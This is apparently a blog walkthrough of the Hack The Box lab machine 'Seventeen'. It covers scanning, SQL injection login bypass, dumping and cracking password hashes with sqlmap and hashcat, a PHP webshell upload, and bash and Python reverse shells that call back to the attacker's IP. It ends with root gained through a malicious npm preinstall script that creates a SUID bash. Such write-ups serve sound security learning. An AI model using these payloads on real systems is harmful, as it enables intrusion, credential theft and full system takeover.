Hack The Box - Seventeen

Today I decided to tackle the latest hard release “Seventeen” from HackTheBox

Summary

Seventeen’s user is about detailed enumeration. There are a lot of things to look at, that might lead you astray (as it did with me). We find a file management service with an upload functionality that can be exploited to upload a php reverse shell, but the file upload only works when accessing the application via the correct subdomain. From here we enumerate first in a docker container and then in the host itself to find exposed credentials, which we can reuse to gain access to user accounts on the target.

To gain root we take advantage of using sudo to run a script which performs npm install, and an unusual npm configuration in which we control a .npmrc file, where we can set the unsafe_perm option, allowing us to achieve code execution through the scripts - preinstall option in the package.json of one of the modules being installed.

Enumeration

My enumeration is definitely overkill, but I don’t like taking the chance of missing something.

nmap

> nmap -T4 -sS -p- 10.129.76.4 -Pn -oN ./scans/10.129.76.4-full

# Nmap 7.92 scan initiated Sat May 28 15:46:35 2022 as: nmap -T4 -sS -p- -Pn -oN ./scans/10.129.76.4-full 10.129.76.4
Nmap scan report for 10.129.76.4
Host is up (0.029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

# Nmap done at Sat May 28 16:01:00 2022 -- 1 IP address (1 host up) scanned in 865.38 seconds

> nmap --top-ports 100 -sUV 10.129.76.4 -oN ./scans/10.129.76.4-UDP100

# Nmap 7.92 scan initiated Sat May 28 16:01:00 2022 as: nmap --top-ports 100 -sUV -oN ./scans/10.129.76.4-UDP100 10.129.76.4
Nmap scan report for 10.129.76.4
Host is up (0.19s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT   STATE         SERVICE VERSION
68/udp open|filtered dhcpc

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 28 16:04:21 2022 -- 1 IP address (1 host up) scanned in 201.32 seconds    

rustscan

> rustscan -a 10.129.76.4 --ulimit 5000 -b 2000 -t 2000 -- -sC -sV -oN 10.129.76.4

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.76.4:22
Open 10.129.76.4:80
Open 10.129.76.4:8000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-28 15:46 EDT

...SNIP

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHHzDWE8/Dfufa10CkPUABokOTHnbh7SJPAGBMj8wfq13PO3C8lzrwhGR6EL7wBm8Z9O7MaX7VR7Dkw5UdFH5x2gj+zqmt+Rem3eGmS1LZ55W6sm8nErzTPaQNN/z/Q421YeNltG8oEO+yBdo9OtkDXdCWXk1TMEaWhBEasUkg7asLTM6rQVKBltrWRJ8JB5YxfY/uOwub+mzbPjdsLdCK+qJ481CwhBOpmCq4W/2VdsYpnNMOfoISDUgFe/Qx748rfdonObgNuP62V3XE2E86ZAAb2F53/40mV7Jrl6Wsq0N2oQhrfj09vpK80dyyo2z/ToCkghKiTHGEv3ni+OZR
|   256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLbEmvlGDh/lmuPXBB4HGvZk6QXtQQpi5ZOO8IF5s2J7ALrLNyqwWwhRJcas+bjTbkjMqvCsUJFmr6yU8MnTg7A=
|   256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJUiAhSZ9sSPHOlWwgxtznpmQq8RU4GgQQcwHDxJiFi0
80/tcp   open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Let's begin your education with us!
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open  http    syn-ack Apache httpd 2.4.38
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.4; OS: Linux; CPE: cpe:/o:linux:linux_kernel

autorecon

> autorecon  --single-target 10.129.76.4

autorecon produces a copious amount of results, so I will omit them here. On review some things that stand out to me:

Notable finds

http-internal-ip-disclosure
Internal IP Leaked: 127.0.1.1 #?

port 8000
Service Info: Host: 172.17.0.4 # docker?

http://seventeen.htb/vendor/
http://seventeen.htb/vendor/exams/
http://seventeen.htb/vendor/mastermailer/
http://seventeen.htb/vendor/oldmanagement/

Foothold

disclaimer

I pursued rabbit holes here but I have left in my steps exploring them to demonstrate my methodology.

I began by exploring each of the subdirectories within vendor. I soon found each to be hosting it’s own application.

vendor/exams/

maybe we can find a source for this via the developer name

admin login disabled http://seventeen.htb/vendor/exams/admin/login.php

vendor/mastermailer/

A login screen, could not get past it with basic bypass attempts.

vendor/oldmanagement/

http://seventeen.htb/vendor/oldmanagement/admin/

There is an administrator login

Trying a basic sql injection we get in

username=admin%27+or+1%3D1%3B+--+-&password=admin&login=

we get into the admin panel, and find some usernames

People

Mark Anthony
Steven Smith

Users

admin
UndetectableMark
Stev1992

with research find documented vulnerability the same as we had found maybe can dump the contents of the database using this

https://www.exploit-db.com/exploits/48437

and the source code

https://www.sourcecodester.com/sites/default/files/download/razormist/school-file-management-system.zip

we see from the source code the structure of the SQL query

...SNIP

$query = mysqli_query($conn, "SELECT * FROM `user` WHERE `username` = '$username' && `password` = '$password'") or die(mysqli_error());

..SNIP

let’s use sqlmap to automate the injection to dump this database. I create a local file admin.req with the request content from burp

I clean up the username parameter for sqlmap, because it does not like parameters with manual sql injection attempts. The updated parameters line is:

username=admin&password=admin&login=

now run sqlmap

> sqlmap -r admin.req

...SNIP

[10:48:15] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable


...SNIP

although it does not proceed with the injection.

but, we see in the logs

[10:48:56] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')

let’s try again with this option set

> sqlmap -r admin.req --dbms=mysql


...SNIP

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 107 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 2524 FROM (SELECT(SLEEP(5)))xERJ) AND 'Cmqx'='Cmqx&password=admin&login=
---


...SNIP

we have time-based blind injection.

This will be slow so we have to be particular about what we decide to dump or we will be here all day…

Let’s dump the database names to start with. We run a tables query and kill it after database names have been enumerated.

> sqlmap -r admin.req --tables

...SNIP

[10:50:53] [INFO] fetching database names
[10:50:53] [INFO] fetching number of databases
[10:50:53] [INFO] retrieved: 4
[10:50:54] [INFO] retrieved: information_schema
[10:52:00] [INFO] retrieved: db_sfms
[10:52:27] [INFO] retrieved: erms_db
[10:52:54] [INFO] retrieved: roundcu
[10:53:24] [ERROR] invalid character detected. retrying..
[10:53:24] [WARNING] increasing time delay to 2 seconds
bedb
[10:53:44] [INFO] fetching tables for databases: 'db_sfms, erms_db, information_schema, roundcubedb'

...SNIP

so we have the databases:

db_sfms                     # database school file management system
erms_db                     # exam ??? management system
information_schema
roundcubedb                 # ??

we know the table and column names from the query in the source code, so let’s dump the users and password for db_sfms

> sqlmap -r admin.req --dbms=mysql -D db_sfms -T user -C username,password --dump

...SNIP

[3 entries]
+------------------+----------------------------------+
| username         | password                         |
+------------------+----------------------------------+
| Stev1992         | 112dd9d08abf9dcceec8bc6d3e26b138 |
| UndetectableMark | b35e311c80075c4916935cbbbd770cef |
| admin            | fc8ec7b43523e186a27f46957818391c |
+------------------+----------------------------------+

...SNIP

let’s see if we can identify the hash type and crack these

it seems they are md5, let’s see if we can crack them. Create a local file with the hashes and run hashcat

> hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt

none were crackable, but at least we found some usernames

let’s look in the other databases

> sqlmap -r admin.req --dbms=mysql -D erms_db --tables

...SNIP
[6 tables]
+---------------+
| category_list |
| exam_list     |
| option_list   |
| question_list |
| system_info   |
| users         |
+---------------+
...SNIP

> sqlmap -r admin.req --dbms=mysql -D erms_db -T users --columns

...SNIP
[11:49:54] [INFO] retrieved:
[11:49:59] [INFO] adjusting time delay to 1 second due to good response times
id
[11:50:05] [INFO] retrieved: int(50)
[11:50:32] [INFO] retrieved: firstname
[11:51:01] [INFO] retrieved: varchar(250)
[11:51:41] [INFO] retrieved: lastname
[11:52:07] [INFO] retrieved: varchar(250)
[11:52:46] [INFO] retrieved: username
[11:53:10] [INFO] retrieved: text
[11:53:28] [INFO] retrieved: password
[11:53:58] [INFO] retrieved: text
[11:54:15] [INFO] retrieved: avatar
[11:54:32] [INFO] retrieved: text
[11:54:50] [INFO] retrieved: last_login
[11:55:30] [INFO] retrieved: datetime
[11:55:55] [INFO] retrieved: type
[11:56:11] [INFO] retrieved: tinyint(1)
[11:56:51] [INFO] retrieved: date_added
[11:57:24] [INFO] retrieved: datetime

...SNIP

> sqlmap -r admin.req --dbms=mysql -D erms_db -T users -C username,password --dump

...SNIP
[3 entries]
+------------------+----------------------------------+
| username         | password                         |
+------------------+----------------------------------+
| Stev1992         | 184fe92824bea12486ae9a56050228ee |
| UndetectableMark | 48bb86d036bb993dfdcf7fefdc60cc06 |
| admin            | fc8ec7b43523e186a27f46957818391c |
+------------------+----------------------------------+
...SNIP

same hash for admin, but different for other users. Let’s see if these crack… nope

on further inspection there are student accounts on the School File Management System, let’s leak that table

table and column names found from source code to save time dumping them aswell

# login_query.php
$query = mysqli_query($conn, "SELECT * FROM `student` WHERE `stud_no` = '$stud_no' && `password` = '$password'") or die(mysqli_error());
> sqlmap -r admin.req --dbms=mysql -D db_sfms -T student -C stud_no,password --dump

+---------+----------------------------------+
| stud_no | password                         |
+---------+----------------------------------+
| 12345   | 1a40620f9a4ed6cb8d81a1d365559233 |
| 23347   | abb635c915b0cc296e071e8d76e9060c |
| 31234   | a2afa567b1efdb42d8966353337d9024 |
| 43347   | a1428092eb55781de5eb4fd5e2ceb835 |
+---------+----------------------------------+


Let’s see if we can crack these

finally, we get a hash to crack this time

31234:a2afa567b1efdb42d8966353337d9024:autodestruction

cross referencing to the student accounts in the webapp, this pass word is for Kelly Shane

file upload

Using the same type of sql injection on the student login at http://seventeen.htb/vendor/oldmanagement/

we can get onto the student profile

stud_no=12345';-- -&password=asd&login=

here there is a file upload functionality but it doesn’t seem to be working…

every attempt seems to redirect to http://seventeen.htb/vendor/oldmanagement/save_file.php but not actually upload the file

From the source code of the application we found online earlier, we can see the source code of save_file.php

<?php

require_once 'admin/conn.php';

if(ISSET($_POST['save'])){

$stud_no = $_POST['stud_no'];

$file_name = $_FILES['file']['name'];

$file_type = $_FILES['file']['type'];

$file_temp = $_FILES['file']['tmp_name'];

$location = "files/".$stud_no."/".$file_name;

$date = date("Y-m-d, h:i A", strtotime("+8 HOURS"));

if(!file_exists("files/".$stud_no)){

mkdir("files/".$stud_no);

}

if(move_uploaded_file($file_temp, $location)){

mysqli_query($conn, "INSERT INTO `storage` VALUES('', '$file_name', '$file_type', '$date', '$stud_no')") or die(mysqli_error());

header('location: student_profile.php');

}

}

?>

it isn’t clear why this doesn’t work

files

in the source code we see a folder named files at the root, let’s see what it contains on the box

http://seventeen.htb/vendor/oldmanagement/files/

entering the first directory we see

papers.php seem to run the id command?

interestingly there seems to be a php source file version at http://seventeen.htb/vendor/oldmanagement/files/31234/papers.phps

however it gives a 403 forbidden

The PDF contains an interesting note

let’s add this to /etc/hosts and check it out

navigating to http://mastermailer.seventeen.htb we are redirected to http://mastermailer.seventeen.htb:8000/mastermailer/

even with the Kelly credentials we found earlier cannot use this, we get an error

with some more enumeration on this vhost, we see it hosts the same file management application as the main domain at http://mastermailer.seventeen.htb:8000/oldmanagement/

using the same sql injection (or simply Kelly’s credentials) we login and try the file upload functionality at http://mastermailer.seventeen.htb:8000/oldmanagement/student_profile.php, and luckily this time it is successful. We upload a simple php webshell to confirm

now to check for remote code execution we access our webshell at http://mastermailer.seventeen.htb:8000/oldmanagement/files/31234/simple.php?gg=id

now we can submit a reverse shell, I frequently have success with this basic reverse shell:

bash -i >& /dev/tcp/10.10.14.73/13897 0>&1

I stand up a listener with netcat ( nc -lvnp 13897), url encode the payload using cyberchef, and submit it at my webshell http://mastermailer.seventeen.htb:8000/oldmanagement/files/31234/simple.php?gg=bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E73%2F13897%200%3E%261

we don’t get a callback,at this point I tried various reverse shell payloads trying to find one that would work successfully, when I remembered from enumeration

Service Info: Host: 172.17.0.4; OS: Linux; CPE: cpe:/o:linux:linux_kernel

this means we are likely getting RCE on a docker container so the options we have for reverse shells are more narrow.

we see python is in the container http://mastermailer.seventeen.htb:8000/oldmanagement/files/31234/simple.php?gg=which%20python

so we will try a python reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.73",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

we url encode and execute via our webshell http://mastermailer.seventeen.htb:8000/oldmanagement/files/31234/simple.php?gg=python%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%2210%2E10%2E14%2E73%22%2C443%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3Bos%2Edup2%28s%2Efileno%28%29%2C2%29%3Bimport%20pty%3B%20pty%2Espawn%28%22sh%22%29%27

this one connects back and gives us a shell

User

We begin with just some basic manual enumeration. Let’s look through the config files of all available web applications to see if we can find any further credentials.

in /var/www/html/employeemanagementsystem/process/dbh.php we find our first credentials

<?php

$servername = "localhost";
$dBUsername = "root";
$dbPassword = "2020bestyearofmylife";
$dBName = "ems";

...SNIP

the next in /var/www/html/mastermailer/config/config.inc.php

...SNIP

$config['db_dsnw'] = 'mysql://mysqluser:mysqlpassword@127.0.0.1/roundcubedb';

...SNIP

mysqluser:mysqlpassword

and again in /var/www/html/oldmanagement/admin/conn.php

...SNIP

$conn = mysqli_connect("127.0.0.1", "mysqluser", "mysqlpassword", "db_sfms");

...SNIP

we can access mysql with

> mysql -u mysqluser -p

but it doesn’t give us anythjing we haven’t already found

trying to access with root provides the error:

ERROR 1524 (HY000): Plugin 'auth_socket' is not loaded

maybe the credential “2020bestyearofmylife” is reused somewhere

we check /etc/passwd for users

> cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mark:x:1000:1000:,,,:/var/www/html:/bin/bash

so maybe mark has put this credential here when configuring, what if it is reused by him on the host? let’s try to ssh as mark

> ssh mark@10.129.76.130

using “2020bestyearofmylife” we get in as mark and find user.txt.

Privilege Escalation - Second User

Let’s repeat our credential harvesting technique in /var/www/html/vendor

“mastermailer” and “oldmanagement” have the same config (except pointed at the docker container instead of localhost) so we will look at exams

in /var/www/html/vendor/exams/initialize.php we see a new configuration, but with the same credentials

<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url','http://exams.seventeen.htb/');
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"172.18.0.1");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"mysqluser");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"mysqlpassword");
if(!defined('DB_NAME')) define('DB_NAME',"erms_db");
?>

at the home directory of mark we find .npm which is normally not seen. Investigating further there is an directory referencing a local service, let’s see if it’s running

with curl we see it is a html page

>  curl localhost:4873

    <!DOCTYPE html>
      <html lang="en-us">
      <head>
        <meta charset="utf-8">
        <base href="http://localhost:4873/">
        <title>Verdaccio</title>
        <link rel="icon" href="http://localhost:4873/-/static/favicon.ico"/>
        <meta name="viewport" content="width=device-width, initial-scale=1" />
        <script>
            window.__VERDACCIO_BASENAME_UI_OPTIONS={"darkMode":false,"basename":"/","base":"http://localhost:4873/","primaryColor":"#4b5e40","version":"5.6.0","pkgManagers":["yarn","pnpm","npm"],"login":true,"logo":"","title":"Verdaccio","scope":"","language":"es-US"}
        </script>

      </head>
      <body class="body">

        <div id="root"></div>
        <script defer="defer" src="http://localhost:4873/-/static/runtime.06493eae2f534100706f.js"></script><script defer="defer" src="http://localhost:4873/-/static/vendors.06493eae2f534100706f.js"></script><script defer="defer" src="http://localhost:4873/-/static/main.06493eae2f534100706f.js"></script>

      </body>
    </html>

let’s exit and reconnect ssh with port forwarding (also forwarding a higher port for investigation)

ssh mark@10.129.76.130 -L 4873:localhost:4873 -L 44465:localhost:44465

now navigating to http://localhost:4873 we see a webapp Verdaccio.

Let’s scan both with nmap

>  nmap 127.0.0.1 -p 4873, 44465 -sVC      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 15:02 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00039s latency).

PORT     STATE SERVICE VERSION
4873/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest:
|     HTTP/1.1 403 Forbidden
|     Access-Control-Allow-Origin: *
|     Content-Type: application/json; charset=utf-8
|     Content-Length: 33
|     ETag: W/"21-gxPGy8RwM7ana23iNasr/U+NIcA"
|     Vary: Accept-Encoding
|     Date: Sun, 29 May 2022 19:02:52 GMT
|     Connection: close
|     "error": "invalid package"
|   GetRequest:
|     HTTP/1.1 500 Internal Server Error
|     Access-Control-Allow-Origin: *
|     X-Frame-Options: deny
|     Content-Security-Policy: connect-src 'self'
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Type: application/json; charset=utf-8
|     Content-Length: 39
|     ETag: W/"27-/hJgrcw+XR/TN16YOmhj0wZyJYc"
|     Vary: Accept-Encoding
|     Date: Sun, 29 May 2022 19:02:51 GMT
|     Connection: close
|     "error": "internal server error"
|   HTTPOptions:
|     HTTP/1.1 204 No Content
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
|     Vary: Access-Control-Request-Headers
|     Content-Length: 0
|     Date: Sun, 29 May 2022 19:02:51 GMT
|_    Connection: close
...SNIP

looked into this for a while but didn’t find anything immediately…

back on the box now, looking in /opt we find something interesting

but before going into mysql let’s try the other users on the box

kavi:IhateMathematics123#

gets us logged in as kavi

Privilege Escalation - Root

disclaimer

NOTE at the time of completing this box, this was a valid path to root but has since been patched out by the authors. I will leave it unchanged as it reflects how I completed the box at that time. To see the intended path, check out writeups from 0xdf or ippsec.

runing sudo -l we see kavi can run the startup script we saw earlier

a reminder on the contents

#!/bin/bash

cd /opt/app

deps=('db-logger' 'loglevel')

for dep in ${deps[@]}; do
    /bin/echo "[=] Checking for $dep"
    o=$(/usr/bin/npm -l ls|/bin/grep $dep)

    if [[ "$o" != *"$dep"* ]]; then
        /bin/echo "[+] Installing $dep"
        /usr/bin/npm install $dep
    else
        /bin/echo "[+] $dep already installed"

    fi
done

/bin/echo "[+] Starting the app"

/usr/bin/node /opt/app/index.js

inspecting /opt/app/node_modules/ we see db-logger is installed, but loglevel is not, so my idea is create a malicious loglevel package and publish it on the private registry running at http://localhost:4873, now this would be a great idea except the registry is not allowing any additional user registration so we cannot publish…

at this point I used sudo to run the startup script to investigate what is happening

In the db-logger package.json /opt/app/node_modules/db-logger/package.json we see a mysql dependancy

now since kavi controls the mysql directory, if we can change the package.json found there, we can insert a “preinstall” option to get code execution.

examining the directory

okay that might seem like a problem but we own the directory containing the file, so we can move and replace package.json

> cp /opt/app/node_modules/mysql/package.json ~/package.json 
> rm /opt/app/node_modules/mysql/package.json 

now we can edit ~/package.json to include a preinstall script and move it back

> vi ~/package.json


...SNIP


  "scripts": {
    "lint": "eslint . && node tool/lint-readme.js",
    "test": "node test/run.js",
    "test-ci": "node tool/install-nyc.js --nyc-optional --reporter=text -- npm test",
    "test-cov": "node tool/install-nyc.js --reporter=html --reporter=text -- npm test",
    "version": "node tool/version-changes.js && git add Changes.md",
    
    "preinstall":"cp /bin/bash /tmp/sbash && chmod +s /tmp/sbash"
    
  },
  "version": "2.18.1"
}



cp /bin/bash /tmp/sbash && chmod +s /tmp/sbash - this command when run and root will give us a SUID copy of /bin/bash accessible from /tmp

now to move our modified package.json back and run the startup script again

> cp ~/package.json /opt/app/node_modules/mysql/package.json
> sudo /opt/app/startup.sh

with some research we come across https://stackoverflow.com/questions/18136746/npm-install-failed-with-cannot-run-in-wd

we discover that we need the unsafe-perm configuration set to true.

we cannot change the npm install commands in the script to add the --unsafe-perm=true argument, but we can maybe set it elsewhere

running npm config ls

with some more googling I find unsafe-perm may be set in .npmrc file

https://pnpm.io/npmrc

> vi ~/.npmrc # add unsafe-perm line
> cat ~/.npmrc
registry=http://127.0.0.1:4873/
unsafe-perm=true

Now we will run the startup.sh script again

And we get a SUID bash, giving us root!

Some things to note:
  • There is a refresh script running as root that will frequently remove the loglevel package from /opt/app/node_modules this is necessary to trigger the preinstall in mysql, so if it is not running this may be why
  • it also resets /home/kavi/.npmrc (and will remove the unsafe-perm setting) so be aware you will need to run the startup script quickly after adding the configuration option before it is reset
 Date: May 29, 2022
 Tags: 

Previous
⏪ Hack The Box - Driver

Next
Hack The Box - Open Source ⏩